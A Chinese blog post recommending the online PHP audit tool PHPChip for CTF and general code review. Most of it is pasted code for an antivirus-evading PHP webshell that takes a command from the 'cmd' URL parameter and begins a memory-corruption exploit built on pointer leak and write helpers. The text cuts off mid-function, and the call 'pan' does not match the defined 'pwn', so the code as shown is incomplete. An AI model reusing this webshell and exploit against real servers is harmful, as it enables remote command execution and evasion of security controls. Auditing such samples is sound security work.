[每日干货]:分享一个ctf及平时都可用到的一个在线php审计的工具

每日干货:https://phpchip.com/
CHIP 挖掘所有PHP动态特性
个人感觉和seay审计差不多
不过PHPchip也算是另一种方法叭

当我上传一个PHP一句话马文件(免杀)的时候：
先附上代码:

<?php
$cmd=$_GET["cmd"];
pan($cmd);
function pwn($cmd) {
   
    global $abc, $helper;
    function str2ptr(&$str, $p = 0, $s = 8) {
   
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
   
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }
    function ptr2str($ptr, $m = 8) {
   
        $out = "";
        for ($i=0; $i < $m; $i++) {
   
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }
    function write(&$str, $p, $v, $n = 8) {
   
        $i = 0;
        for($i = 0; $i < $n; $i++) {
   
            $str[$p + $i] = chr($v & 0xff);
            $v >>= 8;
        }
    }
    function leak($addr, $p = 0, $s = 8) {
   
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8